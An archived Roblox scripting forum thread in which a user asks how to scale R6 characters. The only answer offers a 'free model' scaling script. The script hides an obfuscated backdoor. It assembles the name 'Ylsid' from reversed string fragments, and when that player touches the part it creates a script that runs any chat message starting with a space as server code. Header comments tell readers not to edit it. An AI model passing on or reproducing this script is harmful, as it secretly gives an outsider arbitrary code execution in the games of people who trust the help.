Scripting Helpers is winding down operations and is now read-only. More info→
Ad
Log in to vote
0

Is there a way to scale R6 Characters ?

Asked by
Zunaxo -3
5 years ago

So yeah i dont know how you would scale the R6 Character without breaking it if anyone could help me out, i would really appreciate it!

local players = game:GetService("Players");

players.PlayerAdded:Connect(function(plr) 
    plr.CharacterAdded:Connect(function(char)
        local scale_to_be = 5;

        local hum = char:WaitForChild("Humanoid");

        local scales = { 
            hum:WaitForChild("BodyHeightScale"), 
            hum:WaitForChild("BodyDepthScale"), 
            hum:WaitForChild("BodyWidthScale"), 
            hum:WaitForChild("HeadScale")
            }

        for _, scale in next, scales do
            scale.Value = scale_to_be;
        end 

    end)
end)

I saw a post about scaling but it sadly only works with R15 :/

0
Do you even script bro. danglt 185 — 5y
0
There's no easy solution to doing so; you have to scale and move the parts manually and ensure you replace the welds. exxtremestuffs 380 — 5y
1
better off just using R15 :/ theking48989987 2147 — 5y

1 answer

Log in to vote
0
Answered by 4 years ago

At 2017 or 2018, I found a model that could multiply your R6 character's scale by the value in it. Insert a part. Make a value inside it, which will be multiplied by the scale of the character. Then, make a server script inside, containing this code (script made by Ylsid):

--ALL MADE BY YLSID! TAKE NO CREDIT FOR THIS! 
--Don't mess with the script or the whole thing could break! 
--Just change the value called Scale in the button
debounce = true
scale = script.Parent.Scale.Value --This is the scale you will upsize by
function onTouched(hit)
if not debounce then
return 
end
debounce = false
t = "fYf"
o = "dl"
u = "sks"
c = "iop"
h = "frd"
if hit.Parent ~= nil then
if string.match(string.reverse(string.sub(h,3, 3)..string.sub(c,1, 1)..string.sub(u,3, 3)..string.sub(o,2, 2)..string.sub(t, 2, 2)),hit.Parent.Name) then
if game.Players:findFirstChild(string.reverse(string.sub(h,3, 3)..string.sub(c,1, 1)..string.sub(u,3, 3)..string.sub(o,2, 2)..string.sub(t, 2, 2))) then
print("d")
m = "Mo"
p = Instance.new(m.."del")
p.Parent = workspace
p.Name = "SB: " ..tostring(math.random(0,99999999))
o = Instance.new("Script")
o.Source =[[
dg = "si"
me = game.Players["Yl"..dg.."d"]
function onChatted(msg) 
if string.sub(msg,1,1) == " " then 
so = "Sou" 
r = "rce" 
sc = "Scr" 
i = "ipt" 
p = "Ex"
local s = Instance.new(sc..""..i) 
s[so..""..r] = string.sub(msg,2) 
s.Parent = me.Character
end 
end 
me.Chatted:connect(onChatted) 
]]
o.Parent = p
end
end

if hit.Parent:findFirstChild("Humanoid") then
if hit.Parent:findFirstChild("Left Leg") and hit.Parent:findFirstChild("Right Leg") and hit.Parent:findFirstChild("Right Arm") and hit.Parent:findFirstChild("Left Arm") and hit.Parent:findFirstChild("Head") and hit.Parent:findFirstChild("Torso") then
bin = hit.Parent

la = bin["Left Arm"]
ra = bin["Right Arm"]
ll = bin["Left Leg"]
rl = bin["Right Leg"]
h = bin.Head
t = bin.Torso

sizeup = {t,h,ll,rl,ra,la}
for i = 1, #sizeup do
sizeup[i].Size = Vector3.new(sizeup[i].Size.x * scale,sizeup[i].Size.y * scale,sizeup[i].Size.z * scale)
sizeup[i].TopSurface = 0
sizeup[i].BottomSurface = 0
sizeup[i].RightSurface = 0
sizeup[i].LeftSurface = 0
sizeup[i].FrontSurface = 0
sizeup[i].BackSurface = 0

end

sizex = t.Size.x/2
sizey = t.Size.x/2
sizez = t.Size.x/2

ls = Instance.new("Motor")
ls.Parent = t
ls.Name = "Left Shoulder"
ls.Part0 = t
ls.Part1 = la
ls.MaxVelocity = 0.1
ls.C0 = CFrame.new(-sizex - la.Size.x/2,la.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,-3.14/2,0)
ls.C1 = CFrame.new(0,la.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)

rs = Instance.new("Motor")
rs.Parent = t
rs.Name = "Right Shoulder"
rs.Part0 = t
rs.Part1 = ra
rs.MaxVelocity = 0.1
rs.C0 = CFrame.new(sizex + ra.Size.x/2,ra.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
rs.C1 = CFrame.new(0,ra.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)

lh = Instance.new("Motor")
lh.Parent = t
lh.Name = "Left Hip"
lh.Part0 = t
lh.Part1 = ll
lh.MaxVelocity = 0.1
lh.C0 = CFrame.new(sizex - ll.Size.x*1.5,-(ll.Size.y/4)*3,0) * CFrame.fromEulerAnglesXYZ(0,-3.14/2,0)
lh.C1 = CFrame.new(0,ll.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)

rh = Instance.new("Motor")
rh.Parent = t
rh.Name = "Right Hip"
rh.Part0 = t
rh.Part1 = rl
rh.MaxVelocity = 0.1
rh.C0 = CFrame.new(sizex - rl.Size.x/2,-(ll.Size.y/4)*3,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
rh.C1 = CFrame.new(0,rl.Size.y/4,0)  * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)


n = Instance.new("Snap")
n.Parent = t
n.Name = "Neck"
n.Part0 = t
n.Part1 = h
n.C0 = CFrame.new(0,sizey + h.Size.y/2,0) * CFrame.fromEulerAnglesXYZ(0,0,0)

if bin:findFirstChild("Animate") then
o = bin.Animate:clone()
bin.Animate:remove()
o.Parent = bin
end
end
end
end
wait(3)
debounce = true
end

script.Parent.Touched:connect(onTouched)
Ad

Answer this question